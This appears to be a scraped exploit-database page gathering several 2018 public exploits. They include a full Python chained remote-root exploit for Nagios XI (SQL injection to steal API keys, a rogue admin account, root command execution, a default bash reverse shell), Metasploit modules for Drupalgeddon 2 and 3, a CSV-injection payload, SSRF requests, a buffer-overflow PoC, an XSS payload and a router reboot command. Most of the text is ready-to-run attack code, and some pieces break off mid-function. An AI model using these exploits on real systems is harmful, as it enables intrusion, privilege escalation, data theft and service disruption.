Nagios XI 5.x Chained Remote Root

# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser

# Print some helpful words:
print “””
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]

More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html

Steps are as follows:

0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
“””
# TODO: Figure out what port it’s running on, 80 or 443.

def parse_apikeys(resp):
begin_delim = ‘START_API:’
end_delim = ‘:END_API’

start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]

unique_keys = []

for i, index in enumerate(start_indecies):
start_index = index + len(begin_delim)
end_index = end_indecies[i]
key = resp[start_index:end_index]
if not key in unique_keys:
unique_keys.append(key)

return unique_keys

def parse_nsp_str(resp):
begin_delim = ‘var nsp_str = “‘
end_delim = ‘”;\n’

start_index = resp.find(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_cmd_id(resp, cmdname):

begin_delim = “‘”
end_delim = “‘, ‘{0}’)\”><img src=’images/cross.png’ alt=’Delete’>”.format(cmdname)

end_idx = resp.find(end_delim)

resp = resp[:end_idx]
resp = resp[resp.rfind(begin_delim)+1:]

return resp

def parse_nagiosxi(resp):
resp = str(resp)
begin_delim = ‘Set-Cookie: nagiosxi=’
end_delim = ‘;’

# find the last instance of the nagiosxi cookie…
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_version(resp):
resp = str(resp)
begin_delim = ‘name=”version” value=”‘
end_delim = ‘”‘

start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]
def change_db_user(usr, pwd, step):

url = ‘/nagiosql/admin/settings.php’
headers = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’}

params = urllib.urlencode({
‘txtRootPath’:’nagiosql’,
‘txtBasePath’:’/var/www/html/nagiosql/’,
‘selProtocol’:’http’,
‘txtTempdir’:’/tmp’,
‘selLanguage’:’en_GB’,
‘txtEncoding’:’utf-8′,
‘txtDBserver’:’localhost’,
‘txtDBport’:3306,
‘txtDBname’:’nagiosql’,
‘txtDBuser’: usr,
‘txtDBpass’:pwd,
‘txtLogoff’:3600,
‘txtLines’:15,
‘selSeldisable’:1
})

print “[+] STEP {0}: Setting Nagios QL DB user to {1}.”.format(step, usr)
print “[+] STEP {0}: http://{1}{2}”.format(step, RHOST, url)

con = httplib.HTTPConnection(RHOST, 80)
con.set_debuglevel(0)
con.request(“POST”, url, params, headers=headers)

resp = con.getresponse()
con.close()

return resp

# Disable SSL Cert validation
if hasattr(ssl, ‘_create_unverified_context’):
ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = “Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n”\
” %prog -r <appliance_ip> -c ‘touch /tmp/foooooooooooo'”

parser = OptionParser(usage=usage)
parser.add_option(“-r”, ‘–RHOST’, dest=’rhost’, action=”store”,
help=”Target Nagios XI host”)
parser.add_option(“-l”, ‘–LHOST’, dest=’lhost’, action=”store”,
help=”Host listening for reverse shell connection”)
parser.add_option(“-p”, ‘–LPORT’, dest=’lport’, action=”store”,
help=”Port on which nc is listening”)
parser.add_option(“-c”, ‘–cmd’, dest=’cmd’, action=”store”,
help=”Run a custom command, no reverse shell for you.”)

(options, args) = parser.parse_args()

if not options.rhost:
parser.error(“[!] No remote host specified.\n”)
parser.print_help()
sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
cmd = options.cmd
else:
cmd = ‘bash -i >& /dev/tcp/{0}/{1} 0>&1 &’.format(LHOST, LPORT)

################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################

url0 = ‘/nagiosxi/login.php’
headers0 = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’}

print “[+] STEP 0: Get Nagios XI version string.”
print “[+] STEP 0: http://{0}{1}”.format(RHOST, url0)

con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request(“POST”, url0, headers=headers0)
r0 = con0.getresponse()

r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split(‘.’)[1])

con0.close()
print “[+] STEP 0: Nagios XI verions is: {0}”.format(version)

################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################

r1 = change_db_user(‘root’, ‘nagiosxi’, ‘1’)

if r1.status == 302:
print “[+] STEP 1: Received a 302 Response. That’s good!”
else:
print “[!] STEP 1: Received a {0} Response. That’s bad.”.format(str(r1.status))
exit()

################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################

print “”
url2 = ‘/nagiosql/admin/helpedit.php’
headers2 = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’}

# Versions of NagiosXI < 5.3.0 use ‘backend_ticket’, not ‘api_key’.
sqli_param = “api_key” if (ver_int >= 3) else “backend_ticket”
print sqli_param

params2 = urllib.urlencode({
‘selInfoKey1′:’c\’UNION SELECT CONCAT(\’START_API:\’,{0},\’:END_API\’) FROM nagiosxi.xi_users– ‘.format(sqli_param),
‘hidKey1′:’common’,
‘selInfoKey2′:’free_variables_name’,
‘hidKey2’:”,
‘selInfoVersion’:”,
‘hidVersion’:”,
‘taContent’:”,
‘modus’:0,
”:”
})

print “[+] STEP 2: Exploiting SQLi to extract user API keys.”
print “[+] STEP 2: http://{0}{1}”.format(RHOST, url2)

con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request(“POST”, url2, params2, headers=headers2)
r2 = con2.getresponse()

if r2.status == 302:
print “[+] STEP 2: Received a 302 Response. That’s good!”
else:
print “[!] STEP 2: Received a {0} Response. That’s bad.”.format(str(r2.status))
exit()

con2.close()

r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)

if len(api_keys) > 0:
print “[+] Found {0} unique API keys. Cool:”.format(str(len(api_keys)))
for key in api_keys:
print “[+] {0}”.format(key)
else:
print “[!] No API keys found! Oh no. Exiting…”
exit()

################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################

print “”
url3 = ‘/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1’
headers3 = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’}

# Generate the sketchiest username possibe 😀
sploit_username = ”.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ”.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))

params3 = urllib.urlencode({
‘username’:sploit_username,
‘password’:sploit_password,
‘name’:’Firsty Lasterson’,
’email’:'{0}@localhost’.format(sploit_username),
‘auth_level’:’admin’,
‘force_pw_change’:0
})

print “[+] STEP 3: Using API Keys to add an administrative user…”

found_it = False
for i, key in enumerate(api_keys):
url3_try = url3.replace(‘XXXAPIKEYLIVESHEREXXX’, key)
print “[+] STEP 3: http://{0}{1}”.format(RHOST, url3_try)

con3 = httplib.HTTPConnection(RHOST, 80)
con3.set_debuglevel(0)
con3.request(“POST”, url3_try, params3, headers=headers3)
r3 = con3.getresponse()
r3_contents = r3.read()

if r3.status == 200:
print “[+] STEP 3: Received a 200 Response. That’s good!”
if “was added successfully” in r3_contents:
print “[+] STEP 3: User account username:{0} passwd: {1} was added successfully!”.format(sploit_username, sploit_password)
print “[+] STEP 3: Moving to Step 4….”
found_it = True
con3.close()
break
else:
“[!] STEP 3: API_KEY access was denied. That’s bad.”
continue
else:
print “[!] STEP 3: Received a {0} Response. That’s bad.”.format(str(r2.status))
continue

print “[!] STEP 3: Failed to add a user. Try some more API keys…”
con3.close()

if found_it == False:
print “[!] STEP 3: Step 3 failed…. oh no!”

################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################

print “”
print “[+] STEP 4.1: Authenticate as user TODO.”
print “[+] STEP 4.1: Get NSP for login…”
url4p1 = ‘/nagiosxi/login.php’
headers4p1 = {‘Host’ : RHOST}
params4p1 = “”

con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request(“POST”, url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()

r4p1_resp = r4p1.read()

login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)

con4p1.close()

print “[+] STEP 4.1: login_nsp = {0}”.format(login_nsp)
print “[+] STEP 4.1: login_nagiosxi = {0}”.format(login_nagiosxi)

# 4.2 —————————————————————

print “[+] STEP 4.2: Authenticating…”

url4p2 = ‘/nagiosxi/login.php’
headers4p2 = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’,
‘Cookie’ : ‘nagiosxi={0}’.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
‘nsp’:login_nsp,
‘page’:’auth’,
‘debug’:”,
‘pageopt’:’login’,
‘username’:sploit_username,
‘password’:sploit_password,
‘loginButton’:”,
})

con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request(“POST”, url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()

print “[+] STEP 4.2: authed_nagiosxi = {0}”.format(authed_nagiosxi)

# 4.3 —————————————————————

print “[+] STEP 4.3: Getting an authed nsp token…”

url4p3 = ‘/nagiosxi/index.php’
headers4p3 = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’,
‘Cookie’ : ‘nagiosxi={0}’.format(authed_nagiosxi)}
params4p3 = “”

con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request(“POST”, url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()

print “[+] STEP 4.3: authed_nsp = {0}”.format(authed_nsp)

################################################################
# REQUEST FIVE: Excute command
################################################################

print “[+] STEP 5: Executing command as root!…”
url5 = ‘/nagiosxi/backend/index.php?’
headers5 = {‘Host’ : RHOST,
‘Content-Type’ : ‘application/x-www-form-urlencoded’,
‘Cookie’ : ‘nagiosxi={0}’.format(authed_nagiosxi)}

privesc_cmd = ‘cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo “{0}” > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh’.format(cmd)
privesc_cmd = “$(” + privesc_cmd + “)”

url5 = url5 + urllib.urlencode({
‘cmd’:’submitcommand’,
‘command’:’1111′,
‘command_data’:privesc_cmd
})

con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request(“POST”, url5, headers=headers5)
r5 = con5.getresponse()

r5_resp = r5.read()
con5.close()

if r5.status == 200:
print “[+] STEP 5: Received a 200 Response. That’s good!”
else:
print “[!] STEP 5: Received a {0} Response. That’s bad.”.format(str(r5.status))
exit()

print “[+] STEP 5: Successfully ran command. We’re done?”

################################################################
# REQUEST SIX: Cleanup
################################################################

print “[+] STEP 6: Cleanup time”

r1 = change_db_user(‘nagiosql’, ‘[email protected]’, ‘6’)

if r1.status == 302:
print “[+] STEP 6: Received a 302 Response. That’s good!”
else:

Drupalgeddon3 Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
‘Name’ => ‘Drupalgeddon3’,
‘Description’ => %q{
CVE-2018-7602 / SA-CORE-2018-004
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.
This potentially allows attackers to exploit multiple attack vectors on a Drupal site
Which could result in the site being compromised.
This vulnerability is related to Drupal core – Highly critical – Remote Code Execution

The module can load msf PHP arch payloads, using the php/base64 encoder.

The resulting RCE on Drupal looks like this: php -r ‘eval(base64_decode(#{PAYLOAD}));’
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘SixP4ck3r’, # Research and port to MSF
‘Blaklis’ # Initial PoC
],
‘References’ =>
[
[‘SA-CORE’, ‘2018-004’],
[‘CVE’, ‘2018-7602’],
],
‘DefaultOptions’ =>
{
‘encoder’ => ‘php/base64’,
‘payload’ => ‘php/meterpreter/reverse_tcp’,
},
‘Privileged’ => false,
‘Platform’ => [‘php’],
‘Arch’ => [ARCH_PHP],
‘Targets’ =>
[
[‘User register form with exec’, {}],
],
‘DisclosureDate’ => ‘Apr 29 2018’,
‘DefaultTarget’ => 0
))

register_options(
[
OptString.new(‘TARGETURI’, [ true, “The target URI of the Drupal installation”, ‘/’]),
OptString.new(‘DRUPAL_NODE’, [ true, “Exist Node Number (Page, Article, Forum topic, or a Post)”, ‘1’]),
OptString.new(‘DRUPAL_SESSION’, [ true, “Authenticated Cookie Session”, ”]),
])

register_advanced_options(
[

])
end

def uri_path
normalize_uri(target_uri.path)
end

def start_exploit
drupal_node = datastore[‘DRUPAL_NODE’]
res = send_request_cgi({
‘cookie’ => datastore[‘DRUPAL_SESSION’],
‘method’ => ‘GET’,
‘uri’ => “#{uri_path}/node/#{drupal_node}/delete”
})
form_token = res.body.scan( /form_token” value=”([^>]*)” \/>/).last.first
print “[*] Token Form -> #{form_token}\n”
r2 = send_request_cgi({
‘method’ => ‘POST’,
‘cookie’ => datastore[‘DRUPAL_SESSION’],
‘uri’ => “#{uri_path}/?q=node/#{drupal_node}/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20’#{payload.encoded}'”,
‘vars_post’ => {
‘form_id’ => ‘node_delete_confirm’,
‘_triggering_element_name’ => ‘form_id’,
‘form_token’=> “#{form_token}”
}
})
form_build_id = r2.body.scan( /form_build_id” value=”([^>]*)” \/>/).last.first
print “[*] Token Form_build_id -> #{form_build_id}\n”
r3 = send_request_cgi({
‘method’ => ‘POST’,
‘cookie’ => datastore[‘DRUPAL_SESSION’],
‘uri’ => “#{uri_path}/?q=file/ajax/actions/cancel/%23options/path/#{form_build_id}”,
‘vars_post’ => {
‘form_build_id’ => “#{form_build_id}”
}
})
end

def exploit
case datastore[‘TARGET’]
when 0
start_exploit
else
fail_with(Failure::BadConfig, “Your target is invalid.”)
end
end
end

WordPress Form Maker 1.12.20 CSV Injection

WordPress Form Maker 1.12.20 CSV Injection
Posted Apr 30, 2018
Authored by Jetty Sairam

WordPress Form Maker plugin version 1.12.20 suffers from a CSV injection vulnerability.

tags | exploit
advisories | CVE-2018-10504
MD5 | 956c16997538dd77e426ac7524b64b7e
# Exploit Title: WordPress Plugin Form Maker version 1.12.20 vulnerable to to Formula Injection (CSV Injection)
# Google Dork: N/A
# Date: 27-04-2018
################################
# Exploit Author: Jetty Sairam
################################
# Software Link: https://wordpress.org/plugins/form-maker/
# Affected Version: 1.12.20 and before
#Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE : CVE-2018-10504

1. Application Description:
Form Maker provides a framework to build custom forms for Joomla users.
2. Technical Description:
Custom Forms version 1.12.20 is affected by the vulnerability Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine, the command is executed.
3. Proof Of Concept:
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
When high privileged user logs into the application to export form data in CSV and opens the file.
Formula gets executed and calculator will get popped in his machine.
4. Solution:
Upgrade to version 1.12.24
https://wordpress.org/plugins/form-maker/
5. Reference:
https://wordpress.org/plugins/form-maker/#developers

Cockpit CMS 0.5.5 Server-Side Request Forgery

# SSRFPS”Server Side Request ForgeryPS(c) in Cockpit 0.4.4-0.5.5 (CVE-2018-9302)

Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I’ve been tested success of “Cockpit CMS” lastest version.

## Product Download: Cockpit (https://getcockpit.com)

## Vulnerability TypePSoSSRFPS”Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

You can edit a .php file on own server. The .php file’s code example:

<?php Header(“Location: dict://127.0.0.1:3306/_0d%”);?>

## Exploit
Request:

GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1
Host: myserver
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
referer:http://myserver/index.php

Modify the redirect.php file on the attacker’s server.example:
<?php Header(“Location: gopher://127.0.0.1:3306/_0d%”);?>

If the curl function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol
scan prot,example: <?php Header(“Location: dict://127.0.0.1:3306/”);?>

If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.iniPS!allow_url_fopen option defualt is enable.

## Versions

Product: Cockpit CMS 0.4.4-0.5.5

## Impact

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.

## Fix Code

The fix code examplePSo

$url = $_REQUEST[‘url’];
$content = null;
if (!filter_var($url, FILTER_VALIDATE_URL)) {

header(‘HTTP/1.0 400 Bad Request’);
return;
}

// allow only http requests
if (!preg_match(‘#^http(|s)\://#’, $url)) {
header(‘HTTP/1.0 403 Forbidden’);
return;
}
preg_match(‘/https*:\/\/(.+)/’, $url, $matches);
$host= count($matches) > 1 ? $matches[1] : ”;
$ip = gethostbyname($host);
//check private ip
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
return
}

and modify the line 48 :

curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302

### Timeline:

2018-04-03 Found Cockpit CMS vulnerability.

2018-04-04 Submit vulnerability information to developers.

2018-04-05 Submit CVE-ID request

2018-04-28 Vendor no response, Public vulnerability information,Please Fix it.

Best wishes!

Blackboard Learn Open Redirect

CVE-2017-18262

[Description]

Since at least the 17th of October 2017 (Initial report date) Blackboard Learn has allowed Unvalidated Redirects on any signed in user through its endpoints for handling Shibboleth logins.

The vulnerable endpoint is:

BLACKBOARD/webapps/bb-auth-provider-shibboleth-BBLEARN/execute/shibbolethLogin?returnUrl=myEvilUrl&authProviderId=realAuthProvider

Where:

BLACKBOARD is the Blackboard Learn web server endpoint.

myEvilUrl is any URL you want, URL encoded of course.

realAuthProvider is the auth provider, normally you can just gather this by attempting a real shibboleth login and looking at what authProviderId is set to.

This attack only works against Blackboard Learn web servers with Shibboleth set up.

[Reproduction steps]

Set up a blackboard learn web server, make sure shibboleth is set up.

Copy the shibboleth login URL from the sign in page (should look like the endpoint above)

Replace the returnUrl with another URL (myEvilUrl).

Open the URL and log in as normal (if not already signed in properly to complete shibboleth login).

You will be redirected to the returnUrl you gave, regardless of what that url is.

[Type]

Unvalidated Redirect

[Vendor]

Blackboard Inc

[Discoverer]
Ethan Sweet

Test Your IQ 1.1 SQL Injection

# Exploit Title: Test Your IQ v1.1 – SQL Injection
# Google Dork: inurl:”/index.php?page=vysledek”
# Date: 2018/25/04
# Exploit Author: ShanoWeb
# Author Mail : Mr[dot]Net2Net[at]Gmail[dot]com
# Vendor Homepage: http://testyouriqnow.com/
# Software Buy: https://codecanyon.net/item/test-your-iq/6400433
# Demo: http://testyouriqnow.com/
# Version: 1.1
# Tested on: Win7 x64
# Exploit :

Hi 2 All
http://testyouriqnow.com/index.php?page=test&otazka=[sqli]

😀

./
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|
| Find and patch bug in your website and system|
| Contact : Mr[dot]Net2Net[at]Gmail[dot]com |
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|

|=============================================================|
/————————————————————-\
| My Message To |
\————————————————————-/
|= [!] Make Love,Not War!. Peace No War!
|= [!] We Are One!
|= [!] We are Legion,We do not Forgive,We Do not Forge
|= [!] We Love All Children from Palestine
|=============================================================|

Navicat Oracle Connection Overflow

#!/usr/bin/python
# Title: Navicat < 12.0.27 Oracle Connection Overflow
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: https://www.navicat.com
# Date: 27/04/2018
# Version: 12.0.26
# Tested on Windows 7 32-bit
# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.

# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow.
filename="navicatPOC.txt"
junk = "A" * 1502
#nseh = "\x4C\x4C\x77\x04"
#seh= "\x75\x2a\x01\x10"
nseh = "B" * 4
seh = "C" * 4
fill = "D" * 4000
buffer = junk + nseh + seh + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Frog CMS 0.9.5 Cross Site Scripting

# Exploit Title: Frog CMS 0.9.5 has a stored Cross Site Scripting Vulnerability via “Admin Site title” in Settings
# Date: 2018-04-23
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Software Link: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# Tested on: php 5.6, apache2.2.29, macos 10.12.6
# CVE :CVE-2018-10321

Description:
Frog CMS 0.9.5 has a stored Cross Site Scripting Vulnerability when an attacker has access to Settings page, and enters the payload via “Admin Site title” in Settings.

Steps to replicate:
log into the system as an administrator role;
enter page: http://your_site/frogcms/admin/?/setting, and click Settings option;
navigate to “Admin Site title” section
enter payload as shown in below section:
Frog CMS1</a><img src=1 onerror=”alert()” /><a>
visit http://your_site/frogcms/admin/?/login, you will triage JavaScript execution

Exploit Code:
Frog CMS1</a><img src=1 onerror=”alert()” /><a>

Impacts:
Anyone who visit the target page will be affected to triage JavaScript code, including administrator, editor, developer, and guest.

Affected Version:
0.9.5

Affected URL:
http://your_site/frogcms/admin/?/login

TP-Link Technologies TL-WA850RE Wi-Fi Range Extender Unauthorized Remote Reboot

# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender | Unauthorized Remote Reboot
# Date: 25/04/2018
# Exploit Author: Wadeek
# Vendor Homepage: https://www.tp-link.com/
# Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html
# Category: dos

1. www.shodan.io (with title “Opening…”)

“HTTP/1.1 200 OK” “Server: TP-LINK HTTPD/1.0” “COOKIE=”

2. Proof of Concept

:System Log:
/data/systemlog.txt?operation=save

:Encrypted Configuration File:
/data/config.bin?operation=backup

:Reboot:
curl –silent ‘http://[IP]/data/reboot.json’ -H ‘Host: [IP]’ -H ‘Accept: application/json, text/javascript, */*;’ –compressed -H ‘Content-Type: application/x-www-form-urlencoded; charset=UTF-8’ -H ‘X-Requested-With: XMLHttpRequest’ -H ‘Cookie: COOKIE=’ -H ‘Connection: keep-alive’ –data ‘operation=write’

Drupal Drupalgeddon 2 Forms API Property Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
# XXX: CmdStager can’t handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Drupal Drupalgeddon 2 Forms API Property Injection’,
‘Description’ => %q{
This module exploits a Drupal property injection in the Forms API.

Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
},
‘Author’ => [
‘Jasper Mattsson’, # Vulnerability discovery
‘a2u’, # Proof of concept (Drupal 8.x)
‘Nixawk’, # Proof of concept (Drupal 8.x)
‘FireFart’, # Proof of concept (Drupal 7.x)
‘wvu’ # Metasploit module
],
‘References’ => [
[‘CVE’, ‘2018-7600’],
[‘URL’, ‘https://www.drupal.org/sa-core-2018-002’],
[‘URL’, ‘https://greysec.net/showthread.php?tid=2912’],
[‘URL’, ‘https://research.checkpoint.com/uncovering-drupalgeddon-2/’],
[‘URL’, ‘https://github.com/a2u/CVE-2018-7600’],
[‘URL’, ‘https://github.com/nixawk/labs/issues/19’],
[‘URL’, ‘https://github.com/FireFart/CVE-2018-7600’],
[‘AKA’, ‘SA-CORE-2018-002’],
[‘AKA’, ‘Drupalgeddon 2’]
],
‘DisclosureDate’ => ‘Mar 28 2018’,
‘License’ => MSF_LICENSE,
‘Platform’ => [‘php’, ‘unix’, ‘linux’],
‘Arch’ => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
‘Privileged’ => false,
‘Payload’ => {‘BadChars’ => ‘&>\”},
# XXX: Using “x” in Gem::Version::new isn’t technically appropriate
‘Targets’ => [
#
# Automatic targets (PHP, cmd/unix, native)
#
[‘Automatic (PHP In-Memory)’,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Type’ => :php_memory
],
[‘Automatic (PHP Dropper)’,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Type’ => :php_dropper
],
[‘Automatic (Unix In-Memory)’,
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Type’ => :unix_memory
],
[‘Automatic (Linux Dropper)’,
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Type’ => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
[‘Drupal 7.x (PHP In-Memory)’,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Version’ => Gem::Version.new(‘7.x’),
‘Type’ => :php_memory
],
[‘Drupal 7.x (PHP Dropper)’,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Version’ => Gem::Version.new(‘7.x’),
‘Type’ => :php_dropper
],
[‘Drupal 7.x (Unix In-Memory)’,
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Version’ => Gem::Version.new(‘7.x’),
‘Type’ => :unix_memory
],
[‘Drupal 7.x (Linux Dropper)’,
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Version’ => Gem::Version.new(‘7.x’),
‘Type’ => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
[‘Drupal 8.x (PHP In-Memory)’,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Version’ => Gem::Version.new(‘8.x’),
‘Type’ => :php_memory
],
[‘Drupal 8.x (PHP Dropper)’,
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Version’ => Gem::Version.new(‘8.x’),
‘Type’ => :php_dropper
],
[‘Drupal 8.x (Unix In-Memory)’,
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Version’ => Gem::Version.new(‘8.x’),
‘Type’ => :unix_memory
],
[‘Drupal 8.x (Linux Dropper)’,
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Version’ => Gem::Version.new(‘8.x’),
‘Type’ => :linux_dropper
]
],
‘DefaultTarget’ => 0, # Automatic (PHP In-Memory)
‘DefaultOptions’ => {‘WfsDelay’ => 2}
))

register_options([
OptString.new(‘TARGETURI’, [true, ‘Path to Drupal install’, ‘/’]),
OptString.new(‘PHP_FUNC’, [true, ‘PHP function to execute’, ‘passthru’]),
OptBool.new(‘DUMP_OUTPUT’, [false, ‘If output should be dumped’, false])
])

register_advanced_options([
OptBool.new(‘ForceExploit’, [false, ‘Override check result’, false]),
OptString.new(‘WritableDir’, [true, ‘Writable dir for droppers’, ‘/tmp’])
])
end

def check
checkcode = CheckCode::Safe

if drupal_version
print_status(“Drupal #{@version} targeted at #{full_uri}”)
checkcode = CheckCode::Detected
else
